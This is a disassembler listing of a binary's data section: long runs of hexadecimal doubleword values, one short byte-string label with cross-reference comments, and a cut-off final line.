0D13C0FCDh dd 0EEE0E489h, 3676E34Bh, 0BD05183Ch, 0B9E2306Eh, 0F601FB09h dd 3F84E6F5h, 0CD00E5DEh, 2F5EE4F1h, 4A0A94D3h, 0ACE03CD1h dd 7D0D1E57h, 87B7D287h, 2E000F33h, 7509E946h, 0F968540Fh dd 0E160AF21h, 0C3035345h, 71B7D7E8h, 76A80AFAh, 0FE44E3EDh dd 2924614h, 0D3405084h, 10B6E100h, 7247A275h, 734937Ah dd 0A0E36471h, 1C155942h, 0A5EEC370h, 1288EB3Dh, 0F0149EFh dd 2DCC9ABBh, 0E8C486C4h, 942000A5h, 9059DA10h, 0FCEC7F35h dd 0DD3C5C00h, 0E8BBF867h, 442D28D1h, 3D6E28D0h, 48F000BCh dd 5EB63380h, 0BB7E59CDh, 845C942Bh, 63494487h, 9DE5BB1h dd 0C8C0A047h, 3FF6158Fh, 0C00F0D4Bh, 796045A9h, 7DA8C7F9h dd 57360F14h, 38F80290h, 618E345Dh, 8450A9AAh, 7CA64F9h dd 714E91DBh, 5D9D8063h, 7C02053Dh, 5339E98Eh, 0A9D0A050h dd 7622FB56h, 86E209EFh, 6415E3B0h, 5EDEE3E1h, 39000833h dd 0E51B3D97h, 0D8E35464h, 430072E4h, 0D868D126h, 1FB98410h dd 40D692A3h, 0EC4432FDh, 5F03B249h, 0BE6BAFF9h, 0C97EC02Fh dd 996D3821h, 1BFC2B03h, 32A802C4h, 33012CBAh, 4AE7E261h dd 67DDD43Bh, 387B4BC0h, 0FB00CE1Eh, 7FC32EE8h, 0B6055C0Ah dd 3D195BEh, 0A022DC00h, 1D821093h, 288F16h, 9FB8214Eh dd 0A40EA9B7h, 0F1168DAh, 0CA2C60B3h, 79A017h, 8DE950E4h dd 0CEE371Bh, 4B435C13h, 0B5B25C00h, 1DFE6D35h, 40623902h dd 82DCC57Dh, 0E9003C48h, 0B980C940h, 6F351C4Fh, 5640085Ch dd 39E231B0h, 9E3A5077h, 79880051h, 20232DA9h, 0EE780395h dd 0E8DA3269h, 3622791Fh, 0AB98D740h, 0CD4490h, 742CD266h dd 8DAD84B5h, 603D1800h, 0ECC5A51Ah, 4CC0359h, 0DA17437h dd 0BC441008h, 0EAF00F2Ch, 21190306h, 5E33EB04h, 2840BDF6h dd 1AA363EDh, 3010868Bh, 8220DCE2h, 78C073B7h, 6831ADB8h dd 8F3B00E5h, 35505D25h, 8400FD87h, 0E65A8B3h, 6AE7874h dd 7966C122h, 1B0C3854h, 4097B0A2h, 349A008Dh, 90A973A8h dd 261AFAC8h, 4848C6h, 0B8EB119Ch, 1BFF3049h, 69F30190h dd 0A3B0A701h, 3D65BB9Dh, 1216C040h, 970B0034h, 0A29C9198h dd 500C5294h, 0C81F19A8h, 0A7A00078h, 8EF5F377h, 7C6715B3h dd 0BAF1FCA0h, 0E44863AAh, 0C3BD1E99h, 7B0EAF4h, 66C0E132h dd 1BE20059h, 0A738B8D4h, 2848BD1Ah, 0A27AD0B6h, 0B2BFE800h dd 7A69C290h, 0C63503EAh, 81064FE7h, 0B78834A3h, 4C033032h dd 0CBF21210h, 427BC8BDh, 0EC1D00BCh, 0EA08D925h, 9AF88E96h dd 0C5C18F00h, 78614DFBh, 4BC5A1F2h, 133A21FCh, 4E5218h dd 955F8DF7h, 0BD001F80h, 58CB1EC1h, 7615CA8Fh, 7877D60h dd 7F5CFF88h, 4F3090D7h, 59000C5Eh, 89EC7DB7h, 1660111h dd 92AA61C7h, 7033BCE8h dd 1B3C6096h, 7D2B8A70h, 0A502842Dh, 0DF71B6C4h, 0EB2182C0h dd 84A5E00h, 334FE8E6h, 31E004Eh, 1302492Ch, 0DE072587h dd 0B8793736h, 1689DC70h, 423800D0h, 76FC9E82h, 923CE69Ah dd 0CEC08E91h, 0F943209Ch, 0C6C7A6h, 0F30AFCDCh, 21F6ACAh dd 0D8812028h, 47A68C0Eh, 612C000Dh, 3EBAD443h, 73091A04h dd 24006D39h, 94527842h, 0C3309C78h, 0E8823866h, 0BAC003DFh dd 50364C8Ah, 51142811h, 867D611h, 6C156A4h, 0A0E8CA72h dd 0A910B018h, 415F4928h, 1159E511h, 0C99EBE3Ch, 6B50B0ACh dd 5E00603Ah, 0D08D5770h, 0CEC043Dh, 0EEF7CFC6h, 0C307DC08h dd 0B8D6135Bh, 80042F19h, 0C5FCE21Fh, 5AFD0105h, 6E319121h dd 5BF5F099h, 0C34CFB7Dh, 0A2AA0041h, 8495A14Ah, 19560054h dd 2A074B58h, 61ECE72h, 658028D6h, 612B9F4Ah, 0EFAC093Eh dd 5D80F27Bh, 6C48E0EBh, 857D6A02h, 40016BCDh, 0A382CCh dd 9E552074h, 6C21F0BDh, 5C99F700h, 9834F4E0h, 0E4713007h dd 0CA90BF60h, 0D0625D00h, 0E62E3EA7h, 79A30051h, 0D9E9BA40h dd 2B008D36h, 42E7F07Eh, 12E56AA0h, 41905BE0h, 3F195A28h dd 1D02062h, 0E199C100h, 0A7F710B3h, 2A460F30h, 5289BC36h dd 0F0018283h, 8E16180Eh, 0BDAAE067h, 1EEDA597h, 8054CB79h dd 5C40082Ah, 320FC8A8h, 4361AA1Bh, 6394F2h, 0F1A706A6h dd 2ED9BE67h, 8C479C28h, 9978931Ch, 0A9BB5D80h, 984122h dd 0F3208BC1h, 1B8C15EFh, 5F858100h, 34EA5527h, 4D80A0B6h dd 70BA0002h, 0B39CED59h, 0EB0CB04Bh, 0D4652A93h, 0BBAA28C1h dd 92CC24A0h, 0D7C40021h, 315C1205h, 9C80B902h, 607691ECh dd 9878D60Ch, 0CFED0070h, 50C6AE99h, 1C005FD9h, 0F0ABB30Fh dd 0A377C4h, 4D488A6Bh, 5256B1CFh, 0AC075E00h, 510BA75Dh dd 6E5700F9h, 8230A62Ah, 0C418C1F6h, 391013F4h, 0ED56026Fh dd 0B62EB5D5h, 8EB82460h, 0B2248200h, 220A8F29h, 0CAE200A3h dd 899A6CE5h, 0BE0317F0h, 0E19E32FFh, 0C53A9073h, 74F0E0h dd 0DAF56E23h, 3C5FE9AFh, 2940112Eh, 4706AB01h, 0CADC51FBh dd 3B2700E1h, 0D60F67BDh, 4D032138h, 4139EF19h, 9857F3A4h dd 5C1DDF09h, 9500EA62h, 4EC26861h, 0ED006B96h, 6E4BA6E4h dd 79CA2B7h, 0B1900B3Eh, 0EF5BB010h, 4CEE1A37h, 699F1800h dd 3A624FE5h, 0E9E23E94h, 0E7800387h, 17DDB138h, 0EC74D95Fh dd 567D18EDh, 0BBC8CE39h, 0AB1B00CAh, 5562BD82h, 79BC03EFh dd 89644B7Ah, 2F070CFh, 82002684h, 0A532AA66h, 0F8CE12h dd 967EBB5Eh, 5AB9A1ADh, 92C4DE07h, 5120F102h, 3F9D5E79h dd 1B1D6BF7h, 8F138764h, 0CA0D304Dh, 310911A3h, 81C9C3C4h dd 0E71D8C14h, 0F72E70h, 3DDEAC06h, 59B02AB1h, 5750110Eh dd 51FA40AEh, 1EC8DF67h, 8063F2B9h, 0B715BFB0h, 570023CBh dd 0A2BDF011h, 2248E9h, 48BB4EDh, 21DB75A0h, 2370B000h dd 6669FE5Bh, 0F87375FAh, 0BA290047h, 857A0903h, 78039C8Fh dd 51DA41F1h, 0E657E8B9h, 0C6834C24h, 0C4001C4Ch, 60AC94D6h dd 5503E1CEh, 0BE5154E7h, 18FFF962h, 28683CCh, 1F12CBA1h dd 0FAC0085Bh, 390025FCh, 0DEC6614Eh, 35F650h, 532A81B6h dd 0C8D895Fh, 16D6071Dh, 452D2140h, 0F5A6C083h, 9820CCh dd 6C4931Bh, 74AE5F72h, 537AE200h, 424B45E0h, 29E300E5h dd 0C5F7E4B4h, 0BF06D047h, 34C8FD97h, 9EE91DF1h, 3B17401Dh dd 0D904329Ch, 0B1CD4A00h, 0AC3D7A0Eh, 80B605F9h, 0C07FFB3Fh dd 6F21FE49h, 0CCF60100h, 0C9E4FDC3h, 0E76E0070h, 7BBD6C89h dd 71005FD1h, 9464432Ch, 381F375h, 473B53C2h, 15B82583h dd 80037A04h, 6359D2B4h, 0C0D890CEh, 0B9BC004Bh, 3395C321h dd 3700FBC7h, 0A5A4D975h, 3633Fh, 595AD67Ch, 0FF58FAE4h dd 870015ECh, 8C186E47h, 78E2E90Ch, 38316075h, 5F2B233Bh dd 0ACDFC200h, 0BDA538Dh, 0EF9D1B85h, 57B1CA9Ah, 8038E5CDh dd 7D4B630h, 1528A24h, 0AC01E6D3h, 0E4411ACCh, 0D9766EBBh dd 97D4E300h, 0C6DDD60Eh, 0CF010092h, 94A73315h, 0B0008CFBh dd 500D5728h, 95FD22h, 73830920h, 0A0C1C842h, 9D0E3AB0h dd 0C098E233h, 46E74F93h, 0FF16000Ch, 0B33E66CEh, 3B019555h dd 0A1232E48h, 0EA3083ABh, 0FF1A0018h, 616B211Dh, 3EE405B8h dd 91E63900h, 0AF7AA8EBh, 835500A5h, 2A04F78Eh, 0F004443h dd 0C5799FEh, 7BE05B7Eh, 0E71400E9h, 1F2259AAh, 290EE655h dd 0C07A3306h, 385C10C4h, 0A8AE03B6h, 87200B32h, 0F5C5DAA8h dd 0E31C3E01h, 84DC28D2h, 29E803D1h, 8957245Ch, 6B5E0000h dd 9B3A9872h, 5BE2A205h, 0F8003EEAh, 0A7EB537Ch, 0B9F712BDh dd 0E9400CDh, 5A4F5897h, 9AF44C00h, 36B41459h, 0D3EE8Ch dd 3F1F5255h, 438F7089h, 0D556DA00h, 0C2E1EF9Bh, 127E1FA5h dd 906480h, 855C1314h, 0FE013EC1h, 3D2E444Bh, 1D6AD747h dd 0CEB0B03Ah, 8F007C57h, 0E67460F6h, 7115F2h, 13654C99h dd 3EB3582Dh, 0AFCD3300h, 7DAB3AAEh, 7F387A0Ch, 3B757Ch dd 1D32A965h, 9C23D0F6h, 0A000598h, 319B1F8Ch, 2FFA99h dd 49087734h, 0B3CFC7F3h, 86F57100h, 9C0A5C21h, 0F1E900B4h dd 1CC3588Dh, 0D4009FCDh, 102242DDh, 1EC48E23h, 8032A453h dd 1ADC0699h, 1BB8A269h, 8B898618h, 0EC0AA7C8h, 65900005h dd 3385A9CDh, 0F805BE1Ch, 4638B816h, 0C0308000h, 0AFB071h dd 0B91450ABh, 0FFB3C45Eh, 1BA57C03h, 0D8155734h, 0F99F6h dd 190D35C6h, 3B0B8709h, 0E47EAC09h, 0D0E0004Dh, 6022330Fh dd 2FC19A4h, 0C20039C6h, 3423D48Eh, 0FB0C50h, 0DE382A0Fh dd 0E168194h, 0DA9B0700h, 32C65D1Fh, 90C360A6h, 1704A985h dd 428F48h, 7295AF3Fh, 907479E1h, 0B41B000Eh, 0E89FDDA6h dd 8F000124h, 59889C6Ch, 34B4023h, 140969A4h, 50001AFFh dd 0D121FB5Ah, 1A3B622h, 6CA7D68Ch, 0E0068803h, 0E006344h dd 0B4A8DB5h, 3DE0EAF9h, 5D008CEFh, 0AF28747Eh, 26023A9Dh dd 0F802DC03h, 0FAF86058h, 1420EA2Bh, 0D35910F9h, 9B155000h dd 0B4E9D287h, 53778E71h, 0FB004490h, 7FB389B1h, 5C8D40EEh dd 0F0095D6h, 6C606AACh, 49E03A45h, 92CA9600h, 97658FFCh dd 68EE008Ch, 442AB4E1h, 45000C52h, 0C3BEF257h, 97056Bh dd 3AEEA326h, 37716A1Eh, 0D3924E00h, 0D72E14F6h, 0FFD61DD8h dd 7DE707CBh, 0C5EDE0F7h, 0FD1C8DE2h, 9581BA2Fh, 634B7282h dd 5AD130h, 59D3D2A6h, 0BAF823B9h, 0D1825C00h, 11A59C1Eh dd 0BFF60Ch, 6F96BC2Fh, 79B8E3D7h, 0CC369D00h, 0CAEF8AA3h dd 0C40D01ACh, 3DF07CEAh, 0C194D488h, 9DB21B00h, 912E4BB5h dd 0E4F4394Dh, 683F285Ch, 0F07EF705h, 2E9400CDh, 5E11EA49h dd 0A4069E7Eh, 7FAA52A6h, 0FE6D0020h, 0C9674EBDh, 9C1FC706h dd 27000FD5h, 97B9C3A9h, 59E260E6h, 55167B5Bh, 8065C600h dd 59AB184h, 46010717h, 902E498Bh, 25970FEFh, 0E01F687Bh dd 8CCF35A5h, 0A01A4FA0h, 0FA042BA3h, 73550E94h, 0D1A05F84h dd 0EF53AA9Eh, 699B1200h, 0D45475E6h, 8AB50F57h, 398EF2E2h dd 0ACD6B723h, 0C75CD7C0h, 5F8DA700h, 9EF1A6D5h, 0ED410EAFh dd 0C980E56Ah, 0DF5B4A99h, 7F404BE8h, 6E1300ACh, 0F67CF9E0h dd 970360D2h, 0C5A9480Dh, 53FEF864h, 3890F3h, 9E1503B7h dd 2DFCFFD7h, 797BCF00h, 7FC6240Ah, 0BFB10012h, 0EA483492h dd 450238BEh, 571B33ABh, 53F6A1h, 9BC0D6F9h, 0F200B26Eh dd 0A0A77910h, 7C65B09h dd 0BDF7D8E6h, 33B440BAh, 0E300D990h, 4E6C2A23h, 3C9248Ah dd 0D39FF158h, 5000837Eh, 2004BC30h, 4C917473h, 5D1EAC06h dd 2BCD80C9h, 0E0F03AADh, 120E867Dh, 0E03B0C17h, 0B4C8AA15h dd 7A575D6h, 91C4A697h, 30D7476Ch, 43F34B47h, 0CD636A00h dd 7929AB22h, 4C6D00EEh, 7F702331h, 400069B9h, 58B28E5Eh dd 0F06824h, 28E1E250h, 22AA64B3h, 80DAC200h, 9F8C81D4h dd 0D75B0040h, 0F68AC47h, 0EE049EE6h, 17DAE32Bh, 0F629D3C3h dd 1C970020h, 0D8C4D9C8h, 0A600FF1Eh, 0FC06B811h, 0F3F8DDh dd 0C7D5DFDAh, 4D0E8AE3h, 98E48E07h, 24C05123h, 0F40BB6h dd 0DA7EBDDEh, 0F9A99353h, 1967C100h, 397DD7CDh, 295100F5h dd 0C60B3E65h, 4C01B090h, 0D4C8FFD9h, 0F530E7BEh, 0B6411833h dd 442610D2h, 0A5CAFC0Eh, 5E52C03Eh, 0E5A28C9h, 0F71C8A91h dd 0BED1BA40h, 3000E050h, 0E9CA4562h, 2B17D6Eh, 0F73A8A4Dh dd 5FE0DA23h, 2801DC81h, 14F96C83h, 440FB86h, 89266Eh dd 0EC7BF70Eh, 0EDD02F34h, 0F40158h, 0AD50BBEh, 0D6788Dh dd 313F477Ah, 0EAB38312h, 5500E97Ah, 931940C0h, 58B4BC7h dd 4AA7A59Fh, 739C8094h, 0F3ECAB14h, 0FFEED200h, 0A615C643h dd 0D8E50020h, 21CD9875h, 3D011417h, 0DC195713h, 0CF7062FCh dd 0FD290137h, 433A8893h, 6AEE2097h, 0DF32D800h, 8DE7C520h dd 0FF3E1CCAh, 0EE75C1FBh, 615B0446h, 2B0D40BAh, 0A0073F1h dd 0B8DA238h, 1C1DAB0Ch, 80E6BDC3h, 0BA641C6Bh, 800111B4h dd 0FA936697h, 40F4D585h, 52433C50h, 0E0723C80h, 0DC6D072Ch dd 2FFE6200h, 0D292FCEBh, 0B57B0015h, 70C3E7EFh, 0CE48892Eh dd 44A10040h, 2A253E4Dh, 0FCC85892h, 0EB70A000h, 0D5FC0CA4h dd 5AB25B00h, 32F6CEC3h, 143FC8Ch, 62454A95h, 0E497F8AAh dd 93005C1Ch, 0E2F9C034h, 0B1DCE9h, 0ACCEFB1Dh, 0B75BF1Eh dd 57109000h, 0C6F4CCB6h, 5DD100E7h, 0AF9AC9F7h, 61F594Fh dd 0F300BF18h, 0D3265587h, 3BCC00B9h, 0E8F9F7D9h, 0CE00F63Eh dd 0E52DCFA4h, 1AEB88h, 574A7110h, 0D3ACCBBFh, 18A4A700h dd 0E5699037h, 0D4160F22h, 6F47B745h, 0B0CA87E7h, 6750A62Eh dd 0A27CFD00h, 0D3485BF9h, 37350075h, 0E0EB0B76h, 2700511Ch dd 64CCA097h, 1814CD79h, 10AF43F7h, 0E700987Dh, 2582816Bh dd 0B5422Dh, 281514D1h, 4D3997A4h, 0DAEE2A00h, 63D257BEh dd 0A1E10016h, 0C498177Dh, 3E07E595h, 8C12D16Ah, 58066201h dd 83CEF8h, 74815792h, 0E0CC960h, 7059C200h, 0AFBD3AC1h dd 2957A62h, 3283FAD1h, 0C0A497h, 9400565Ch, 66793BB6h dd 0D14F61h, 0E03E52B7h, 130CDF9Bh, 67B27E00h, 7269873h dd 5F171D36h, 0F638784Fh, 0E41843BDh, 0B57E180Dh, 18922B00h dd 93C480C5h, 87470001h, 0F6E63477h, 271D44E2h, 0C5006E05h dd 6D5A64B5h, 730F0FD6h, 0BAA036ADh, 1D74E583h, 28DF9400h dd 9641CC82h, 3962008Bh, 988986C9h, 63000D7Ch, 651FE570h dd 1DC0F1C1h, 0C0E2A8CAh, 2264D207h, 141E2A01h, 1C803BA1h dd 72D73120h, 0C458005Fh, 1DA5A089h, 0D0018C7h, 42D9D541h dd 2415797Eh, 181BD8h, 0A0FC9B25h, 5001F536h, 0C3B72C7Ah dd 3CC478B5h, 0D03F0033h, 413DA918h, 0D81E060Dh, 13C1649Bh dd 0EA08A4A3h, 1E4B5FD4h, 6BD51E5h, 0D00C2F23h, 9F411403h dd 77C058Fh, 71940270h, 0B395809Dh, 810060E2h, 179EBA51h dd 318CC4CBh, 0A2A879FAh, 5208FC2Fh, 82D9A300h, 8B03934Eh dd 0A75413E5h, 0DFA3001Ah, 80CED473h, 61B20800h, 0AC4CA9A3h dd 7D4338ECh, 40E2CC80h, 57804A93h, 91C68409h, 15E9809Bh dd 3F9F29h, 0E1FCF058h, 1FA42CAAh, 17542600h, 6CECF9A0h dd 0C24900F4h, 0FC27D6ADh, 0F8017BE0h, 4A8E3F5Fh, 93F84546h dd 0DEB0E8h, 0A29B071Bh, 20EC2789h, 0FD4D9D00h, 5D0A2D36h dd 12F47075h, 7EBA338h, 0F047DC90h, 520DC8A0h, 0B7D6DA0Fh dd 0B0D40053h, 1F4B1BFh, 1FA531D0h, 0E0FE1ED9h, 0DD3B418Ah dd 0E9AB80C1h, 8FEED328h, 72900F6h, 0A8F322D7h, 0B00E20Dh dd 0E12A214h, 3F80ACCh, 4F95CEDDh, 0A6D097BCh, 80040F5h dd 0AA78CD70h, 17F93ACh, 0AF831FC1h, 0DC80B099h, 6100D69Bh dd 0BF0491ADh, 18D5ABEh, 8BDAE588h, 0F045E1CBh, 4D055885h dd 0FBDB89D4h, 0ADC16D81h, 0ABD9ECh, 0A7B7350Ah, 0E2B8B3AAh dd 7781F100h, 94620F32h, 0D25600EAh, 0D7696A37h, 4200F918h dd 0CD47289Ah, 1C6F5DDh, 5C5767FFh, 702F4C40h, 3A00F07Ah dd 0CBC5DE1Bh, 0E80826EEh, 15EE04h, 28DD5A24h, 0ADD886AAh dd 42F48950h, 2F7D8D00h, 9EF08276h, 0A4310087h, 0EF5F0696h dd 0FD13EEABh, 0FC00F1ECh, 47221EA6h, 62EEDCh, 9CB35A6Fh dd 0B7A460F9h, 43510800h, 61925E4Eh, 0A5C10FE7h, 3F8E45CCh dd 67552907h, 33780388h, 0AA4CBF88h, 1B761A00h, 64B7EF39h dd 0FD870E52h, 0C6A08F3Ch, 3D9A880Dh, 14E7E39h, 7C977D84h dd 0FB6086F9h, 0BE2B0036h, 763F0225h, 0E350F30Ch, 0AB00C3B5h dd 0C471C2B2h, 71A6668Ah, 0EABB01D3h, 13F3FDEDh, 0C08FD8F8h dd 758ECB00h, 378BFE72h, 0EDC83DB4h, 0F4A8E200h, 20D58AA1h dd 0B2A20D00h, 1BEB9D77h, 30BE3A05h, 60500100h, 5CACC6AEh dd 61A5BA00h, 0F31F80E6h, 2FC90106h, 3B294382h, 86B4D4DCh dd 472B0B00h, 7865124Eh, 0CA7A80h, 7443DE17h, 0E3F05C7Dh dd 0E8DDA207h, 85703AC3h, 66220Bh, 63BAEA13h, 5CFC52Eh dd 0D3656F00h, 0AAFAE1Fh, 5C4D000Ch, 3B800698h, 6DEC9A01h dd 7A5F80C0h, 0E4749h, 644ADF66h, 4CB532DDh, 635230Fh dd 81DF21Ah, 534BE780h, 0F7C1E1h, 0D1801784h, 0B783501Ch dd 8A3CE403h, 0D01A85F5h, 7EB05CAh, 74C234CEh, 785CD09Eh dd 0AC1C648Bh, 0A51F4CF8h, 895E580h, 0B049D36Ah, 0F0720023h dd 3BDB4A19h, 8B0EAFC2h, 40BE5341h, 0CD6A635Eh, 8DE6004Ch dd 66ED14D6h, 7EE4B7ADh, 0B039500h, 639F3698h, 0DC6A0F1Bh dd 81E0F920h, 0C2D0D490h, 8ECFC300h, 0BE83A519h, 9040FA27h dd 0D71E036Fh, 0AB60C729h, 0EB239780h, 5FCB9200h, 8DC15E04h dd 10310602h, 52634EE1h, 77FE0F50h, 781EC773h, 72C06099h dd 40F0DE32h, 469C0059h, 241D0758h, 0E80025F7h, 10E0EC0Ch dd 75FCCABh, 0C5D92A37h, 0B5A84029h, 46E8639h, 25676718h dd 0BB71215Fh, 87D0293Bh, 0C89F3DB9h, 70193C80h, 0AC4D4B92h dd 9800B6EEh, 0D5C0839Ch, 6A314Ah, 0DB48D38Dh, 0F9695289h dd 7EB11C0h, 3D3A08h, 0EAB871D1h, 2640D0E6h, 0A40C2A7Ah dd 8005454Ch, 0DD390192h, 616CF4E5h, 0B5D7707Bh, 0ED8793A0h dd 62C50B01h, 0F6CC6514h, 48933085h, 5E982075h, 0BB2E9449h dd 2D00F19Bh, 97C61BC7h, 0B878EDh, 8569CAFEh, 0FF687EB6h dd 87EAD101h, 26975F35h, 31FE20h, 0B58AB20Ch, 0D2D624E0h dd 4B5AED00h, 543D4C29h, 1F7A001Dh, 0DED5CCB1h, 0BD244907h dd 0C117831Eh, 23CDA400h, 72A4F04h, 0B018E217h, 0EF0E4F09h dd 0A084AF87h, 0B612EC9h, 1205E778h, 2075C40Fh, 0EFDE700h dd 26F1Eh, 0D62B05C3h, 30DCD8F9h, 0A0573900h, 1C0D77E3h dd 144C3EB3h, 31092D00h, 20F19DF9h, 9F0110E0h, 0DF84A5B5h dd 0A03F83EEh, 9603B012h, 0D7B62069h, 304D9933h, 0B661D4F5h dd 0F4659D40h, 4A0E1501h, 1F00A8E1h, 808814FBh, 0A7A5A66h dd 9707300h, 0D4FF4620h, 6C420F6Eh, 0EDA0430Dh, 56697B30h dd 0F20A0C13h, 540ACF12h dd 6C80C8DCh, 7CA27EEEh, 432400F0h db 0BBh aMjehm db 'M†Eh¬',0 ; DATA XREF: ___:off_437A24o ; ___:off_437A3Co db 0A9h dd 251F5F11h, 63F58007h, 0C84A80D7h, 0B4D98900h, 5FB268Ch dd 0F29C0052h, 0E6CF207Eh, 54071BBAh, 5CC5B268h, 39917AB0h dd 364ECBCh, 1BC9C1EAh, 45E07F0Ah, 6700496Eh, 0CEFB8A3h dd 7170BA63h, 41FC4Ah, 0CB9338D0h, 0B2BB57C0h, 0D4205A01h dd 69276B8Eh, 10FCADCh, 9DDCE4DBh, 0D8668662h, 0A1C30665h dd 90E6154Eh, 0B573C2h, 0DD2BA154h, 0E456A9E9h, 0A8380D03h dd 98CCC9B4h, 0FE7D919Bh, 0B3050AA6h, 809056BAh, 26956764h dd 9E00F815h, 1FCD3298h, 118A4E8h, 0FE2B8CD2h, 31DB1A29h dd 942CD0A7h, 2FEF7003h, 0D0E52D11h, 0CCFD4FE0h, 5D211808h dd 162FF600h, 55E6E472h, 2A683ED1h, 0A11AD001h, 80834748h dd 8487DC58h, 0E81DF3h, 1AD14F8Bh, 14EF2DA9h, 0DD964E0Ch dd 301CD687h, 0C2412BE8h, 0DE3A5397h, 0C1060EFh, 1F2C558h dd 8E265BA1h, 0D1E8A3A9h, 0E5318716h, 0A8F0A278h, 57B5271h dd 18B7B2F1h, 0B184C6DCh, 0E800207Bh, 2F754B1Eh, 5144E9h dd 0C6376F97h, 9A9EBE4Eh, 88A8BC30h, 605270A2h, 0BAC4C031h dd 18C18B10h, 125660A4h, 76139848h, 3E02DE21h, 5248C880h dd 56473872h, 0E50E1400h, 0CADE2601h, 0C6C40096h, 0E4EC35DDh dd 630036A2h, 0CBF27A80h, 111910h, 0C2AF6D1Bh, 0A3DB4307h dd 0AA966700h, 5B3B8E2Ch, 210200F5h, 24E4A692h, 6A0011ECh dd 2D374FE5h, 3510F9Fh, 0F6B2D5A8h, 0D7AF0C88h, 39808038h dd 0D009563h, 2D7BAE51h, 2317F1h, 22A5C409h, 0CCECB3DDh dd 0CA002F7Ch, 0B16B0E62h, 37BB2AEh, 0C4184767h, 0D0A075C9h dd 5A00A217h, 222FCFFDh, 0F038654Eh, 0ED2401E5h, 78660F96h dd 0DCFDFC0Dh, 937BB301h, 47F1C96Ah, 0C00460A3h, 3D06FF4Eh dd 0C783FEFAh, 0A670D788h, 7ECC00A2h, 0E328B7EAh, 4B00B8ACh dd 9FD9BF72h, 0E64E3Eh, 135D4390h, 0FE30C003h, 48345A00h dd 167B8C44h, 3BB6002Eh, 8235BA4Eh, 0CC00C8A9h, 0E97F42A0h dd 1730C6h, 54E1CBFAh, 0EF32EA36h, 6A3BCC01h, 41F27239h dd 0DC11204Eh, 46AC86FFh, 0A9D90088h, 0B7A81220h, 0F8618857h dd 0DE97B3C8h, 30EC8530h, 6E107847h, 7088335Ch, 3A2B00ACh dd 0F37CC923h, 0FE1D807Fh, 364CE891h, 0D1811h, 3F40448h dd 89D4E93Fh, 0C25161F0h, 0E1508884h, 0A0760175h, 81BF7C7Ah dd 0B9451888h, 2883A18Eh, 283BB361h, 6B45042h, 7B5490Ch dd 17BB0E20h, 86C0E62Fh, 0DB969947h, 238330A0h, 67B038D9h dd 82108FE0h, 17D52010h, 83BA6604h, 0A97CD074h, 20B06F68h dd 0D8174A43h, 0AF668FF3h, 20AD1540h, 100AC0D8h, 50A01821h dd 40D46041h, 0D25F1128h, 8A351270h, 7F400038h, 0CFA5B77Bh dd 29553000h, 0DF189DBFh, 72B0FC7h, 0AD813E6Ch, 20C1A235h dd 0DE3CC60Ch, 0BC503AA1h, 207DAA04h, 33F4A03h, 0FCA6B0DEh dd 0F0402C7Ch, 0C30E2864h, 0B33824D4h, 0F3684010h, 50489232h dd 6A247262h, 0AD47102Fh, 103E9A02h, 8D78BC13h, 40303093h dd 42C371D1h, 1E1FA29Dh, 7125C701h, 927FEB30h, 611134DAh dd 0F0D09F37h, 387F3406h, 32108053h, 49F020DEh, 81859FE1h dd 0CEFDD3B0h, 81081FE8h, 0B0EA9E17h, 0A5042126h, 0B09FE978h dd 40075674h, 57F35F00h, 0EBBC9E2Fh, 69A99F8Fh, 7F0F4320h dd 60BC9B82h, 0C0A1BF77h, 50C9D595h, 943806D4h, 3C9F7309h dd 2A20024Eh, 0EFC9E0A5h, 529B0071h, 84153749h, 18D2B114h dd 0AEAF0804h, 0F5174480h, 69F2F1D5h, 204C8654h, 0D4F404C6h dd 78852E03h, 5182872Dh, 0BC50CE4Bh, 0C1014340h, 2716C660h dd 0FD80205Ah, 65C85C71h, 39880AE7h, 471FE58h, 0AF5FB742h dd 1EF67D11h, 0BE802405h, 0A07D339Ah, 42096CEh, 0E58BFFCAh dd 87697C2Fh, 8D992C82h, 1180955Fh, 139504CDh, 3B011461h dd 330B186Bh, 0DAE100A8h, 15B9ADF0h, 0B0F6FAh, 0CD125216h dd 3D0F365Ah, 543C047Ch, 48200081h, 65BF214Dh, 28CA60CFh dd 0BE3ADAFBh, 204BA02Bh, 144AB4C2h, 0B0DAEF02h, 157585F7h dd 0CB0B810h, 9010B4D6h, 46753174h, 59FC841Eh, 0DA05D428h dd 709E992Eh, 524C4078h, 8F876049h, 2A5974F6h, 8020502Bh dd 0AB95DA7Fh, 458563A3h, 0FEC04124h, 0C8B55Eh, 74E9CD68h dd 0B9320071h, 587A9553h, 0E10E4AE3h, 0A08DF2DCh, 0CA45EB93h dd 127C1Fh, 0DB8EE860h, 0F8EA7F05h, 84056C78h, 517BC9E0h dd 0F6432030h, 0A2864225h, 11081EB4h, 54DB0E34h, 97C1B843h dd 0A8F0A15h, 4C78BC88h, 0ED232178h, 20F8851h, 34379FC0h dd 8C213EEAh, 26EEC0E1h, 40AFA3BEh, 6E415018h, 6B063077h dd 37783328h, 0DE7E6D09h, 2E040016h, 3159DDFh, 0B2035AC7h dd 181E0945h, 0CD8764C0h, 19C3124Dh, 57FDC03Ch, 518AF040h dd 0DFFC2061h, 423B71BAh, 5BD4A752h, 8072AF00h, 4003B7Ah dd 6388F6B9h, 0F0BF06E8h, 8BD21D7Fh, 0F5CDC3DAh, 0CB8B38E3h dd 948C1805h, 84036162h, 0C7F9A8DAh, 2C0C55A0h, 0AE20A84Bh dd 0BC73028Bh, 37D95987h, 0C088433Ch, 360281D5h, 9140ADFCh dd 0C65804B4h, 17012E4Dh, 2791F585h, 9F7C04E8h, 132A7E48h dd 8384830h, 96DE08AEh, 2CF9F9BAh, 0A1E204Bh, 4054D5C8h dd 0E4A84E1h, 392C6002h, 573E8395h, 13022088h, 0C49497D6h dd 0DC65C865h, 107D202Ch, 0A8068419h, 0D8085E0h, 0EAF802D6h dd 7842853Ah, 0C2081C48h, 546D2ACCh, 68DD7442h, 0D6AD10A0h dd 0A70CA8B6h, 671587E0h, 5754C8E5h, 7E0F2010h, 0D12455DAh dd 0B2122A33h, 28CC1379h, 0D910F2C8h, 0E4A877BBh, 0BD40B085h dd 80A53CC4h, 202CE865h, 47EA5857h, 3CA28052h, 0DA630216h dd 0F8787FDBh, 0C02440BCh, 0B8704048h, 44372180h, 604BCC51h dd 97F97F05h, 0D020780Fh, 8F68287h, 0A15182Ch, 708059A4h dd 762BC4FFh, 0D4C22009h, 291D1C49h, 84D1E0ABh, 0A1ED8F2h dd 3EA11F7Bh, 10ECF140h, 60E5E3h, 68176932h, 520763DAh dd 311F0F1h, 20AC122Ch, 5F0A2CA6h, 83A286Dh, 214CBFh, 0E4EDE1A6h dd 0B90E35B8h, 